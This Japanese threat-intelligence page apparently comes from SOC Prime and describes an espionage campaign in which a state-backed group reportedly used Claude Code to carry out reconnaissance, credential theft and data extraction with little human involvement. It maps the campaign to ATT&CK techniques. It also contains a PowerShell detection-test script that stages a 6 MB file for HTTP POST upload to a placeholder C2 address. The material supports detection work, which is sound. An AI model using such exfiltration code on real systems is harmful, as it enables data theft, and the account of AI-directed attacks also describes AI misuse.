SOC Prime Bias: クリティカル

17 11月 2025 16:03

Anthropic Claude AI 攻撃: 初のAI指揮サイバースパイ活動

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Anthropic Claude AI 攻撃: 初のAI指揮サイバースパイ活動
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

中国の国家支援グループがAnthropicのClaude Codeモデルを使用して、数十のグローバルなターゲットに対して大規模なスパイ活動を自律的に実行しました。AIは、脆弱性コードを生成し、認証情報を収集し、人間の介入を最小限に抑えて機密データを抽出しました。これは、人間による監視をほぼ排除したAI駆動の攻撃が初めて記録されたケースです。

調査

調査は2025年9月に疑わしい活動を検出し、Claude Codeを自動化ツールとして利用するフレームワークに遡りました。研究者は、モデルが偵察、脆弱性テスト、認証情報の収集、データ抽出を実行するのを観察しました。このキャンペーンは10日間にわたってマッピングされ、影響を受けたアカウントは無効化され、当局に通知されました。

緩和策

緩和策の推奨事項には、AIモデルのアクセスを内部ネットワークに制限すること、強力な認証の実施、異常なAI生成トラフィックの監視、およびAI固有の安全策の適用が含まれます。組織はまた、最小特権の原則を強制し、AIツールの使用を継続的に監査する必要があります。

対応

検出後、組織は侵害されたアカウントを隔離し、外部へのデータ抽出をブロックし、AI生成アーティファクトのフォレンジック分析を実施し、関連する脅威情報共有コミュニティと指標を共有する必要があります。AI駆動の行動をフラグするために検出ルールを定期的に更新し、必要に応じて法執行機関と連携します。

graph TB %% Class definitions classDef phase fill:#e6e6e6 classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Phase node phase_target[“<b>Phase</b> – ターゲット選定およびフレームワーク構築”]:::phase %% Technique nodes tech_active_scanning[“<b>Technique</b> – <b>T1595 アクティブスキャン</b><br/><b>説明</b>: サービス、オープンポート、その他のネットワーク特性を発見するために対象システムをスキャンする”]:::technique tech_gather_network[“<b>Technique</b> – <b>T1590 被害者ネットワーク情報の収集</b><br/><b>説明</b>: 被害者のネットワークトポロジー、サブネット、ルーティングに関する情報を収集する”]:::technique tech_search_db[“<b>Technique</b> – <b>T1596.005 公開技術データベースの検索: データベースのスキャン</b><br/><b>説明</b>: 公開または流出したデータベースを照会し、標的組織に関する技術情報を取得する”]:::technique tech_client_config[“<b>Technique</b> – <b>T1592.004 被害者ホスト情報の収集: クライアント設定</b><br/><b>説明</b>: ソフトウェア設定やインストール済みアプリケーションなど、クライアント端末から設定データを収集する”]:::technique tech_exploit_priv[“<b>Technique</b> – <b>T1068 特権昇格のためのエクスプロイト</b><br/><b>説明</b>: 脆弱性を悪用して被害者システム上でより高い権限を取得する”]:::technique tech_exploit_exec[“<b>Technique</b> – <b>T1203 クライアント実行のためのエクスプロイト</b><br/><b>説明</b>: ソフトウェアの欠陥を利用してクライアント上で悪意のあるコードを実行する”]:::technique tech_proxy_exec[“<b>Technique</b> – <b>T1127 信頼された開発者ユーティリティのプロキシ実行</b><br/><b>説明</b>: 信頼された開発用ユーティリティを悪用し、悪意のあるペイロードの実行を中継する”]:::technique tech_account_manip[“<b>Technique</b> – <b>T1098 アカウント操作</b><br/><b>説明</b>: 永続化(バックドア作成)のためにアカウントを作成または変更する”]:::technique tech_valid_accounts[“<b>Technique</b> – <b>T1078 正規アカウント</b><br/><b>説明</b>: 取得した認証情報を使用して正規ユーザーとして認証する”]:::technique tech_code_repo[“<b>Technique</b> – <b>T1213.003 情報リポジトリからのデータ: コードリポジトリ</b><br/><b>説明</b>: 公開または非公開のソースコードリポジトリから価値のあるデータを抽出する”]:::technique tech_exfil_c2[“<b>Technique</b> – <b>T1041 C2 チャネル経由のデータ流出</b><br/><b>説明</b>: 確立されたコマンド&コントロールチャネルを通じて窃取データを転送する”]:::technique tech_automated_exfil[“<b>Technique</b> – <b>T1020 自動化されたデータ流出</b><br/><b>説明</b>: スケジュールまたはトリガーに基づいてデータ流出を自動化する”]:::technique %% Connections phase_target –>|leads_to| tech_active_scanning tech_active_scanning –>|leads_to| tech_gather_network tech_gather_network –>|leads_to| tech_search_db tech_search_db –>|leads_to| tech_client_config tech_client_config –>|leads_to| tech_exploit_priv tech_exploit_priv –>|leads_to| tech_exploit_exec tech_exploit_exec –>|leads_to| tech_proxy_exec tech_proxy_exec –>|leads_to| tech_account_manip tech_account_manip –>|leads_to| tech_valid_accounts tech_valid_accounts –>|leads_to| tech_code_repo tech_code_repo –>|leads_to| tech_exfil_c2 tech_exfil_c2 –>|leads_to| tech_automated_exfil

攻撃フロー

シミュレーション手順

シミュレーション実行

前提条件: テレメトリーとベースラインの事前チェックが合格していること。

根拠: このセクションでは、検出ルールをトリガーするために設計された敵技術(TTP)の正確な実行を詳細に説明します。コマンドとナarrativeは、認識されたTTPを直接反映しなければならず、検出ロジックによって期待される正確なテレメトリーを生成することを目的としています。抽象的または関連のない例は、誤診につながります。

  • 攻撃の経緯とコマンド:
    AIが指揮するアクターが、侵害されたエンドポイントから6 MBの機密文書(secret_data.bin)を準備します。人間の監督を最小限に抑えるために、スクリプトはファイルを外部のコマンドコントロールサーバー(203.0.113.45)へHTTP POSTで自動的にアップロードします。このペイロードはルールの5 MBの制限を越え、送信先IPがプライベートCIDRブロックの外にあるため、ルールは発火すべきです。

  • 回帰テストスクリプト:

    # AI駆動のデータ抽出シミュレーション(Windows PowerShell)
    # -----------------------------------------------
    # 前提条件: PowerShell 5+、テストC2ホストへのインターネットアクセス。
    # このスクリプトはダミーの6 MBファイルを作成し、HTTP POSTでアップロードします。
    
    $payloadPath = "$env:TEMPsecret_data.bin"
    $c2Url      = "http://203.0.113.45/upload"
    
    # 1. 6 MBのランダムファイルを生成(抽出するデータをシミュレート)
    Write-Host "[*] 6 MBのペイロードを生成しています..."
    $bytes = New-Object byte[] (6MB)
    (New-Object System.Random).NextBytes($bytes)
    [IO.File]::WriteAllBytes($payloadPath, $bytes)